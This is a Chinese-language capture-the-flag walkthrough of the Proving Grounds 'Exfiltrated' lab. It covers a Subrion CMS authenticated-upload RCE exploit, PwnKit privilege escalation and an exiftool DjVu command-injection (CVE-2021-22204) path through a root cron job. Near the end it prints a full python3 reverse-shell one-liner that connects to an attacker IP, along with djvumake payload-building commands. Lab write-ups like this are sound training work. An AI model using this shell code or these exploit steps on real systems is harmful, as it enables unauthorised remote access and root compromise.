Proving Grounds Practice : Exfiltrated Walkthrough
Proving Grounds Practice : Exfiltrated Walkthrough
Foothole (立足點 ) :
- 80 發現 CMS 套件 Subrion
- 標準利用 PoC 49876 直接拿到 Shell
PE ( 提權 ) :
- PwnKit 直接成功
注意事項 :
- Subrion CMS PoC 學習,網址要注意加上最後的 /
- 要另外學習 ExifTool 指令利用
Rustscan,└─$ rustscan -a 192.168.181.163 --scripts none --ulimit 5000 | tee rustscan
22、80 兩個 Port 而已
snmp closed
nmap,└─$ sudo nmap -sCV -A -p 22,80 192.168.181.163 | tee nmap
whatweb,└─$ whatweb http://192.168.181.163 | tee whatweb
hosts 看來要先寫死
再跑一次,Title[Home :: Powered by Subrion 4.2]
80 /
看來是個 CMS,名稱是 Subrion
Subrion 管理者登入的頁面是 /panel,使用 admin:admin 登入嘗試成功
Version 4.2.1
參考這個 https://www.exploit-db.com/exploits/49876
版本 4.2.1 符合,第一行就寫驗證後可以 RCE 看來就是了
# Exploit Title: Subrion CMS 4.2.1 - File Upload Bypass to RCE (Authenticated)
執行後顯示驗證失敗,└─$ python3 49876.py -u http://exfiltrated.offsec/panel -l admin -p admin
但這個帳號密碼可以成功登入沒有問題,怎麼會顯示驗證失敗
後來發現網址最後面要加上 /
加上斜線後再跑一次試試看,└─$ python3 49876.py -u http://exfiltrated.offsec/panel/ -l admin -p admin,這一次成功透過 PoC 拿到 Shell 了
cat /etc/passwd
發現帳號 coaran
su 切換使用者 coaran 失敗
Linpeas 下去 看到一個熟悉的 CVE-2021-4034 PwnKit
PwnKit 下去後成功 Root
補充說明 :
cat /etc/crontab,發現一個特殊的 Job
* * * * * root bash /opt/image-exif.sh
看一下內容 cat /opt/image-exif.sh
重點是這幾行指令
- IMAGES='/var/www/html/subrion/uploads' : 指定 IMAGES 的路徑
- ls $IMAGES | grep "jpg" | while read filename; : 查看副檔名 *.jpg 的檔案
- exiftool "$IMAGES/$filename" >> $LOGFILE : 執行 exiftool 指令
這裡要利用到的是 exiftool 這個指令,Google 搜尋都是 CVE-2021-22204
最主要的執行內容可以查看這一篇 :
https://ine.com/blog/exiftool-command-injection-cve-2021-22204
告訴我們要使用 Djvu 的檔案格式利用
作法如下,利用資料庫文件 Djvu 檔案格式執行 RCE
此漏洞利用 djvumake,我們可以將其與 djvulibre-bin 軟體包一起安裝。
先安裝套件,└─$ sudo apt-get update && sudo apt-get install -y djvulibre-bin
使用 which 接指令確認安裝成功,直接打指令顯示綠色也表示安裝成功
└─$ which djvumake
告知我們要使用 djvumake 的指令將檔案包裝
範例 : djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
所以將剛剛安裝的套件 djvumake 來將 exploit 包裝成 djvu 檔案格式
djvumake 指令包裝用法└─$ djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=exploit
將 exploit.djvu 重新命名為 *.jpg 副檔名,然後 file 看一下確認是 image 檔案格式
改成 *.jpg 格式是因為靶機上的 sh 執行會確認檔案的副檔名
└─$ mv exploit.djvu exploit.jpg
接著要來建立剛剛指定的 shell.sh,內容直接使用 pythone3 建立 Reverse Shell,這個檔案是等等靶機執行 payload 後會透過 HTTP GET 來抓取與執行的檔案
#!/bin/bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.202",4446));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
將檔案上傳到該 image-exif.sh 指定的的 uploads 路徑
依據 PoC 的內容這樣就可以了,但是一直沒有發現有來抓取 shell.sh
發現是 curl 的路徑給錯,將 shell.sh 重新放置後成功看到 HTTP 200 GET
4446 Reverse Shell 進來了,whoami & id 看一下確認是管理者
留言
張貼留言